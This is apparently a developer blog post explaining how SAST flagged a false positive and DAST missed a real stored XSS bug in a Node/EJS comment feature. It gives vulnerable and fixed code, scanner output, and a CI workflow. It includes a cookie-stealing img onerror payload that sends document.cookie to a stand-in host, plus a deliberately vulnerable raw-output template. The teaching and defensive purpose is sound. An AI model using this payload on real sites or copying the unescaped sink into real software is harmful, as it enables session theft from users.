DAST false negatives vs SAST false positives
We shipped a comment feature behind two scanners and a CI gate that was supposed to catch exactly this class of bug. The static scanner threw a high-severity XSS finding, so the team spent an afternoon arguing about a line that turned out to be safe. The dynamic scanner came back clean, so everyone relaxed. Three weeks later a researcher demonstrated stored XSS firing in a moderator's session through that same comment field. The SAST alert was a false positive. The DAST pass was a false negative. Both tools were "working." Here is the actual code, the actual scanner output, and the workflow that would have caught it.
The vulnerability: how a stored XSS payload executes
The endpoint is boring, which is the point. An authenticated user posts a comment, we persist it, and later we render the comment thread for whoever opens the page. Nothing reflects the input back in the same request, so this is second-order: the payload sleeps in the database and detonates on a different request, often in a different user's browser. If you want the taxonomy of these delayed sinks, the lesson on second-order and stored XSS techniques maps the variants well.
Here is the route. No sanitization, no encoding decision, just trust.
// routes/comments.js — the vulnerable path, no error handling on purpose
const express = require('express');
const router = express.Router();
const db = require('../db');
router.post('/threads/:id/comments', async (req, res) => {
// req.body.comment is attacker-controlled and stored verbatim
await db.query(
'INSERT INTO comments (thread_id, author_id, body) VALUES ($1, $2, $3)',
[req.params.id, req.user.id, req.body.comment]
);
res.redirect(`/threads/${req.params.id}`);
});
router.get('/threads/:id', async (req, res) => {
const comments = await db.query(
'SELECT body, author_id FROM comments WHERE thread_id = $1',
[req.params.id]
);
res.render('thread', { comments: comments.rows });
});
The detonator is the template. EJS gives you two output tags, and the difference is the entire bug. <%= %> HTML-escapes its output. <%- %> writes raw, unescaped bytes into the document. Someone used the raw tag, probably because an early design wanted to allow bold and italic.
<!-- views/thread.ejs — raw output sink -->
<ul class="comments">
<% comments.forEach(function (c) { %>
<li><%- c.body %></li> <!-- raw render: stored markup reaches the DOM intact -->
<% }); %>
</ul>
Now the attack. The attacker posts a comment whose body never renders as visible text but still parses as markup:
<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">
When a moderator opens the thread, the browser tries to load the broken image, fails, and fires onerror in the moderator's origin. Session cookie exfiltrated, or worse if the moderator panel shares the origin. The attacker never needed to touch the victim directly. They posted once and waited for someone with more privilege to load the page. This is the same shape as a long line of stored-XSS-into-admin incidents, including the WordPress comment XSS tracked as CVE-2024-31210 and the recurring class of plugin comment fields that store unsanitized HTML and render it back into a privileged dashboard.
The fix: contextual output encoding and a CSP
Output encoding is the load-bearing fix. Switch the raw tag to the escaping tag and the payload becomes inert text on the page instead of live markup.
<!-- views/thread.ejs — escaped output -->
<ul class="comments">
<% comments.forEach(function (c) { %>
<li><%= c.body %></li> <!-- HTML-escaped: < becomes <, the img tag never parses -->
<% }); %>
</ul>
That alone kills this specific bug. But the feature wanted rich text, and <%= %> escapes everything, including the bold tags you meant to allow. So for fields that genuinely need markup, sanitize on the way in (or on the way out) with an allowlist parser. Do not write your own regex sanitizer; the bypass corpus for hand-rolled filters is enormous, and OWASP's XSS prevention guidance is explicit that filtering by blocklist loses to a determined attacker.
// routes/comments.js — fixed path with sanitization and error handling
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
router.post('/threads/:id/comments', async (req, res) => {
const raw = req.body.comment;
if (typeof raw !== 'string' || raw.length > 5000) {
return res.status(400).send('Invalid comment');
}
// Allowlist: keep formatting tags, strip everything that can execute.
// ALLOWED_ATTR is empty so onerror/onload/href:javascript can't survive.
const clean = DOMPurify.sanitize(raw, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
try {
await db.query(
'INSERT INTO comments (thread_id, author_id, body) VALUES ($1, $2, $3)',
[req.params.id, req.user.id, clean]
);
} catch (err) {
req.log.error({ err }, 'comment insert failed');
return res.status(500).send('Could not save comment');
}
res.redirect(`/threads/${req.params.id}`);
});
Note: if you sanitize on input and still render rich fields with <%- %>, you are now relying on the sanitizer being correct forever. That is a real dependency, not a free pass. DOMPurify has shipped bypasses in the past (the mutation-XSS rounds around 2.x are worth reading), so pin the version and watch its changelog.
There is also a subtlety in ALLOWED_ATTR: ['href']. Allowing href reopens javascript: URLs unless your DOMPurify version strips dangerous protocols by default, which current versions do. If you are on an older build, add ALLOWED_URI_REGEXP to constrain the scheme, or drop a from the tag list until you can upgrade. The point is that every attribute you allow is a small surface you now own.
Layer a Content-Security-Policy on top so a missed sink degrades from "session stolen" to "blocked request in the console." Use Helmet and turn off inline script.
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // no 'unsafe-inline': inline handlers won't run
imgSrc: ["'self'", 'data:'],
connectSrc: ["'self'"], // fetch('https://evil...') is refused
},
}));
A strict CSP would have neutered the onerror payload even with the raw template still in place. It is defense in depth, not a substitute for encoding. Inline event handlers and data: image tricks both die against scriptSrc 'self' with no inline allowance. The honest caveat: a CSP that already contains 'unsafe-inline' somewhere in scriptSrc provides zero protection here, and many real apps carry that directive to support a legacy widget. Audit the policy you actually ship, not the one in the example.
Why SAST flagged a false positive here
The static scanner did fire. It just fired on the wrong line. Here is the alert it raised against the fixed template after we deployed the escaping tag:
[HIGH] javascript.express.security.audit.xss.direct-response-write
views/thread.ejs:4
User-controlled value 'c.body' flows into an HTML response.
Taint source: req.body (routes/comments.js:6)
Taint sink: template output (views/thread.ejs:4)
Line 4 is <%= c.body %>. The escaped tag. The data is HTML-encoded before it reaches the DOM, so this is not exploitable. The scanner reported it anyway because its taint engine tracked the source-to-sink flow (req.body to template output) but did not model EJS output semantics. To the rule, <%= and <%- look like the same "value reaches template" event. It cannot see that one tag calls the escaper and the other does not.
This is the structural reason SAST over-reports. It reasons about reachability, not exploitability. A value that is tainted and reaches a sink is enough to alert, even when an encoder sits between them that the rule does not understand. Template engines, ORM escaping, and framework-level auto-escaping are exactly the contexts where this breaks down, because the safety lives in library code the scanner treats as opaque. The same false-positive pattern shows up with parameterized queries flagged as SQL injection, with React's JSX auto-escaping flagged as XSS, and with any sanitizer the rule author did not enumerate.
You fix this two ways. First, teach the tool: most engines let you mark <%= %> as a sanitizer for the HTML context so the taint is cleared at that node. Second, suppress with a reason, never with a blanket ignore. If you are running Semgrep or another open engine, the guidance on tuning free SAST tools to cut noise covers writing sanitizer patterns instead of muting whole rules.
# .semgrep.yml — clear taint at the escaping tag instead of suppressing the rule
rules:
- id: ejs-escaped-output-is-safe
pattern: <%= $X %>
# mark as sanitizer so downstream xss rules don't flag escaped output
metadata:
taint_sanitizer: true
The trap is using // nosemgrep on the line. That silences this finding and every future finding on that line, including a real one introduced by a later refactor that flips <%= back to <%-. A line-level suppression has no memory of why you added it, which is exactly when it becomes dangerous: the code under it changes, the suppression does not, and the next reviewer reads a clean scan over a live bug.
Why DAST produced a false negative on the real bug
The dynamic scanner returned zero XSS findings against the vulnerable build. Not because the bug was subtle, but because the scanner never reached it. Three things stacked up.
First, the crawl was unauthenticated. Posting a comment requires a session, and the scanner had no credentials, so it never saw the POST endpoint at all. Second, even with a session, this is second-order. The payload goes in through POST /threads/:id/comments and comes out through GET /threads/:id, a different request the scanner has to make after the injection and then inspect. Most active scanners test reflected XSS by injecting and checking the same response. They do not, by default, inject here, navigate there, and diff the DOM. Third, the payload only fires for a viewer, so even a stored-XSS check needs to load the thread as a separate step.
Here is roughly what the scan was configured to do, and what it skipped:
# zap-baseline.conf — unauthenticated, single-request scope
context:
name: "comments-app"
urls:
- "https://staging.example.com"
authentication:
method: "none" # never logs in -> never reaches the comment form
spider:
maxDepth: 5
scan:
activeScan: true
# tests injection + reflection in the SAME response only;
# no recorded flow for: login -> POST comment -> GET thread as victim
The scanner did its job within the scope it was given. The scope excluded the only path that reaches the bug. That is the defining shape of a DAST false negative: the vulnerability exists, the tool is healthy, and the coverage gap hides it. Authentication, multi-step flows, and second-order sinks are the three coverage holes that produce most of these, and they tend to co-occur. There is a fourth that bites in production: anti-automation. A CSRF token on the comment form, a rate limiter, or a CAPTCHA will quietly drop the scanner's injection requests, and you get the same clean report for a different reason. If you do not see the payload land in the database after a scan, assume the scanner never delivered it.
Side-by-side: mapping each finding to ground truth
Lining the tool output up against the actual exploitability makes both error modes obvious.
| Code location | SAST verdict | DAST verdict | Real status | Root cause of the disagreement |
|---|---|---|---|---|
thread.ejs:4 <%= c.body %> (escaped) |
HIGH XSS | not reached | Safe | SAST can't model EJS auto-escaping; reports reachability, not exploitability |
thread.ejs (vuln build) <%- c.body %> (raw) |
HIGH XSS | clean | Vulnerable (stored XSS) | DAST never authenticated and never replayed the second-order render |
POST /threads/:id/comments |
flagged taint source | not crawled | Entry point of real bug | Unauthenticated crawl scope excluded the form |
Read the table as two failures that point in opposite directions. SAST is loud on safe code and DAST is silent on dangerous code, and neither tool is broken. They have different blind spots because they observe the system in different states: one reads source without runtime context, the other probes runtime without source visibility. That complementarity is the whole argument for running both, and the breakdown of how SAST and DAST differ in coverage is worth pinning to the wall before you tune either one. The practical consequence is that you cannot treat a green DAST run as evidence of safety, and you cannot treat a red SAST finding as evidence of a bug. If you want a wider tour of where these tools sit in a pipeline, Code Review Lab keeps the comparison current as engines change.
A workflow that catches what either tool misses
The goal is to make the two error modes cancel rather than stack. SAST's false positives waste triage time; DAST's false negatives ship vulnerabilities. You attack each with a different control.
Start with SAST triage rules in CI. Run the scan, but encode your sanitizer knowledge so escaped output stops generating noise, and require a reason string on every suppression. A suppression without a justification is a future incident.
# .github/workflows/security.yml
jobs:
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Semgrep
run: |
semgrep ci --config .semgrep.yml --config p/xss \
--error \
--baseline-commit "$GITHUB_BASE_REF"
# baseline diff: only fail on NEW findings, so legacy noise
# doesn't block every PR while you burn it down
dast-authenticated:
runs-on: ubuntu-latest
needs: sast
steps:
- uses: actions/checkout@v4
- name: Start app + seed users
run: docker compose up -d && ./scripts/seed-users.sh
- name: Authenticated ZAP scan with recorded flow
run: |
docker run -v "$PWD:/zap/wrk" owasp/zap2docker-stable \
zap-full-scan.py \
-t https://app:3000 \
-z "-config replacer.full_list... " \
--hook=/zap/wrk/auth_hook.py \
-n /zap/wrk/comment-flow.context
# comment-flow.context imports a recorded sequence:
# login as attacker -> POST comment with payload ->
# log in as victim -> GET thread -> assert payload did not execute
The unlock for DAST is the recorded flow plus a seeded second user. You give the scanner a session, you script the inject-then-view sequence by hand once, and you import it as a context. Now the second-order path is in scope. The scanner that returned clean before will fail on the raw-template build, because it actually loads the thread as the victim. Verify the session is real by asserting on an authenticated-only string in the response (a logout link, the victim's username) before you trust any finding from that job. A scanner that logs in, gets bounced to a login page, and then scans the login page will still report "no XSS" with total confidence.
Neither control replaces the third leg: targeted manual review on the deltas the tools disagree about. When SAST flags a line DAST never reached, a human checks whether the sink is actually encoded. When DAST is silent on an authenticated, multi-step feature, a human confirms the flow was in scope. That triage discipline, deciding which findings deserve a person's attention and which are noise, is the bulk of the AppSec engineer's triage workflow and it is the part no scanner config replaces.
Note: authenticated DAST has a cost. Recorded flows are brittle and break when the login UI changes, so budget for maintaining them. The alternative, leaving auth out, is what produced the false negative in the first place.
Tomorrow, open your last clean DAST report and check one thing: did the scan have a valid session when it ran? If the auth step silently failed, every "no findings" behind a login is unverified, and you should treat those routes as unscanned until a recorded flow proves otherwise.
Top comments (0)